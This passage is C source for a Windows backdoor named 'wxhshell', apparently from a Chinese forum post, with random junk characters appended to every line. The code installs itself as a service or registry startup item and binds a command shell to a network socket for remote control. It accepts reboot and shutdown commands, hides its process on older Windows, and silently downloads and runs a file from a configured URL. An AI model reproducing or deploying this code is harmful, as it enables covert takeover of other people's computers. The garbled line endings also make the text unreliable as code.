  case '?': { abVEi[nP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X.e4pLwGK  
    break; abe5 As r  
  } ME*zMLoF+  
  // 安装 cor!Sa>  
  case 'i': { 2e,cE6r  
    if(Install()) |em_l$oGc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BN`tiPNEp  
    else Nc EPPl 0I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zcV~)go6  
    break; *wdNZ  
    } EwfL.z  
  // 卸载 w$qdV,s 7  
  case 'r': { 0CeBU(U+|R  
    if(Uninstall()) NljcHe}Qy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{r@ H+Kf  
    else 'cN3Vv k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9$sx+=(  
    break; 1b7Q-elG  
    } 06af{FXsGb  
  // 显示 wxhshell 所在路径 G`v(4`tA  
  case 'p': { uMFV^&ZF  
    char svExeFile[MAX_PATH]; BC%V<6JBu(  
    strcpy(svExeFile,"\n\r"); Y>i Qp/k:  
      strcat(svExeFile,ExeFile); z4[ 8*}  
        send(wsh,svExeFile,strlen(svExeFile),0); /GP:W6:6z6  
    break; LqQ&4I  
    } V'N]u (^  
  // 重启 \ 0F ey9c  
  case 'b': { 3 lKBwjW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CTB qX  
    if(Boot(REBOOT)) 30cb+)h(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "f!H[F1~  
    else { zM%2h:*+{  
    closesocket(wsh); E zU=q E  
    ExitThread(0); ]D>\Z(b  
    } x50ZwV&j  
    break; +o 6"Z)  
    } .A6Jj4`-  
  // 关机 ?Ql<s8  
  case 'd': { |dqAT.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K}dvXO@=|c  
    if(Boot(SHUTDOWN)) D<4cpH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .L3D]  
    else { v00w GOpW  
    closesocket(wsh); J.,7d ,  
    ExitThread(0); U)S!@ 2(4  
    } > 8!9  
    break; a [BIY&/Q  
    } QlnI&o  
  // 获取shell $=!_ !tr  
  case 's': { OLJ|gunA#  
    CmdShell(wsh); H1ox>sC  
    closesocket(wsh); UDgUbi^v|D  
    ExitThread(0); %c&< {D}r  
    break; |/RZGC4  
  } u$V@akk  
  // 退出 mk`#\=GE  
  case 'x': { UTxqqcqEny  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y=e|W=<D&  
    CloseIt(wsh); Tml>>O  
    break; hLSas#B>  
    } G8 CM  
  // 离开 JN<u4\e{-&  
  case 'q': { X./7b{Pax  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s+ ]6X*)  
    closesocket(wsh); HqKD]1  
    WSACleanup(); tc<HA7vpt~  
    exit(1); )cRP6 =  
    break; 1NU@k6UHl  
        } }ILg_>uq[  
  } L%[b6<  
  } &_<!zJ;Hn  
^14a[ta/'  
  // 提示信息 Z'\{hL S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `< cn  
} iFB {a?BE  
  } iy,jq5uw  
j !rQa^   
  return; ":Ll. =!  
} kKNrCv@64d  
6tT*b@/_o  
// shell模块句柄 CDDOm8  
int CmdShell(SOCKET sock) \Q MRuR.  
{ @]:GTrs  
STARTUPINFO si; >}!})]Xw9  
ZeroMemory(&si,sizeof(si)); D"GQlR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,wH]|`w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  5wy3C  
PROCESS_INFORMATION ProcessInfo; $r/tVu2!W  
char cmdline[]="cmd"; +J(@.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rTYMN  
  return 0; ^yVKW5x  
} +FlO_=Bu  
-x0u}I  
// 自身启动模式 fpPHw)dTd  
int StartFromService(void) NR0fxh  
{ 8\_YP3  
typedef struct #bdSH)V  
{ -ZE]VO*F  
  DWORD ExitStatus;  C\5"Kb  
  DWORD PebBaseAddress; :x@j)&  
  DWORD AffinityMask; ZE0D=  
  DWORD BasePriority; V.kRV{43  
  ULONG UniqueProcessId; A\};^Y  
  ULONG InheritedFromUniqueProcessId; . KzU7  
}   PROCESS_BASIC_INFORMATION; |$.`4h?  
tFYo d#  
PROCNTQSIP NtQueryInformationProcess; Kv>P+I'|r  
@vkO(o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ` @Tl7I\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ,7w[r<7  
m?pm)w  
  HANDLE             hProcess; <aGfQg|554  
  PROCESS_BASIC_INFORMATION pbi; Zdll}nO"E  
-_"6jU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :]k`;;vh  
  if(NULL == hInst ) return 0; `_5{: 9N$  
wYLJEuS|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gOKF%Ej31T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T9O3$1eqfo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L<M H:  
A&/ YnJ"  
  if (!NtQueryInformationProcess) return 0; u:s[6T0  
ya0D5 0m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tc<ly{ 1c  
  if(!hProcess) return 0; `KUl XS(  
1|/]bffg!c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iF'qaqHWY4  
!1cVg ls|  
  CloseHandle(hProcess); "kg;fF|  
Tg|/UUn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a\?-uJ+  
if(hProcess==NULL) return 0; 4-veO3&.h  
zKX|m-i|2  
HMODULE hMod; !;s5\91  
char procName[255]; t*{BN>B  
unsigned long cbNeeded; r*XEne  
i*ErxWzu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /r@~"R x'  
h;?H4j  
  CloseHandle(hProcess); 1/% g VB8  
`c%{M4bF\  
if(strstr(procName,"services")) return 1; // 以服务启动 x|`o7.  
xN=:*#Z"pb  
  return 0; // 注册表启动 [$AOu0J  
} bAZ x*qE=  
!,zRg5Wp4  
// 主模块 TW5Pt{X= f  
int StartWxhshell(LPSTR lpCmdLine) N9=1<{Z  
{ kcN#g- 0  
  SOCKET wsl; v3/l= e?u  
BOOL val=TRUE; TG@ W:>N(  
  int port=0; 2UJjYrm  
  struct sockaddr_in door; )7}f .  
1^_V8dm)  
  if(wscfg.ws_autoins) Install(); Y+0HC2(o  
<9jN4hV  
port=atoi(lpCmdLine); 1xzOD@=dI  
n/jZi54gO  
if(port<=0) port=wscfg.ws_port; yITL;dBy  
U9eb&nd  
  WSADATA data; aokV'6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &yN/ AY`U  
HH3Ln+AWg_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T99\R%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b!3Y<D*  
  door.sin_family = AF_INET; {Jn*{5tZ>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vm Y*K  
  door.sin_port = htons(port); 1NQstmd{  
JuTIP6 /G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4%9 +="  
closesocket(wsl); 1DT}_0{0Q  
return 1; 7r,h[9~e  
} deVbNg8gs  
UG:S!w'  
  if(listen(wsl,2) == INVALID_SOCKET) { na,i(m?l  
closesocket(wsl); 1]% ]"JbV  
return 1; (Ceq@eAlT  
} rVF7!|&  
  Wxhshell(wsl);  %kSpMj|  
  WSACleanup(); ipdGAG  
C|hD^m  
return 0; 1}Mdo&:t  
a15kFun  
} ,J)wn;@  
aq-R#q  
// 以NT服务方式启动 B(B77SOb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .qGfLvx%  
{ gOL-b9W  
DWORD   status = 0; FvVR \a  
  DWORD   specificError = 0xfffffff; N~t4qlC/  
w_h}c$;GK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CPt62j8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1b4/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #9FY;~  
  serviceStatus.dwWin32ExitCode     = 0; NUp,In_  
  serviceStatus.dwServiceSpecificExitCode = 0; j8#xNA  
  serviceStatus.dwCheckPoint       = 0; ])3(@.  
  serviceStatus.dwWaitHint       = 0; lPO +dm  
uEX+j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?&rt)/DV,  
  if (hServiceStatusHandle==0) return; M'-Z"  
V4>qR{5  
status = GetLastError(); Hu-Y[~9^L:  
  if (status!=NO_ERROR) LCouDk(=`  
{ q9iHJ'lMD*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MQvk& AX  
    serviceStatus.dwCheckPoint       = 0; s !XJ   
    serviceStatus.dwWaitHint       = 0; <yxy ;o  
    serviceStatus.dwWin32ExitCode     = status; K 0Gm ?(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6Ud6F t6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ 30ta<-  
    return; yZcnky  
  } lZ>j:/R8^&  
ngI3.v/R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cypb 6Q_  
  serviceStatus.dwCheckPoint       = 0; S2,tv  
  serviceStatus.dwWaitHint       = 0; [oS4W P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v| Yh]y  
} {Ne5*HFV  
_(1Shm  
// 处理NT服务事件,比如:启动、停止 HBp$   
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]**h`9MF  
{ yh:Wg$qx  
switch(fdwControl) SQ0?M\D7  
{ }K'gjs/N;  
case SERVICE_CONTROL_STOP: |rr<4>)X  
  serviceStatus.dwWin32ExitCode = 0; %]1.)j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vtu!* 7m  
  serviceStatus.dwCheckPoint   = 0; Y6w7sr_R  
  serviceStatus.dwWaitHint     = 0; Wv7hY"  
  { iPeW;=-2Wk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [8v>jQ)  
  } Um2RLM%  
  return; _6!@>`u~  
case SERVICE_CONTROL_PAUSE: &$L6*+`h#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G%FLt[  
  break; S\"#E:A  
case SERVICE_CONTROL_CONTINUE: ]21`x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x*7Q  
  break; @/f'i9?oM`  
case SERVICE_CONTROL_INTERROGATE: `%ulorS  
  break; f@7HVv&  
}; J_`a}ox  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W:hg*0z-*  
} XT` 2Z=  
M,we9];N  
// 标准应用程序主函数 Q@0Zh, l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YHQvx_0yP  
{ tRu j}n+x  
Uy98lv  
// 获取操作系统版本 @t{`KB+ ^  
OsIsNt=GetOsVer(); "OWW -m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A!uO7".E  
VqL#w<A %  
  // 从命令行安装 "J"RH:$v  
  if(strpbrk(lpCmdLine,"iI")) Install(); H9%[! RF  
cf+EQY  
  // 下载执行文件 l?<DY$H 0  
if(wscfg.ws_downexe) { 'dvi@Jx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J|=0 :G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5`\"UC7?%  
} /hp [ +K  
%Kzu&*9Hb  
if(!OsIsNt) { Zgw4[GpL  
// 如果时win9x,隐藏进程并且设置为注册表启动 LTWiCI  
HideProc(); ^Gwpx +  
StartWxhshell(lpCmdLine); [MXyOE  
} 5hj _YqQ7  
else ;FnU[Q`M#L  
  if(StartFromService()) CEh!X=Nn  
  // 以服务方式启动 aE 2=  
  StartServiceCtrlDispatcher(DispatchTable); 0T2^$^g  
else 'PWX19  
  // 普通方式启动 y%!zXK`cl]  
  StartWxhshell(lpCmdLine); {!>'# F^e  
:`B70D8ku  
return 0; Dn[uzY6  
}
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只看该作者 1 发表于: 2006-10-10
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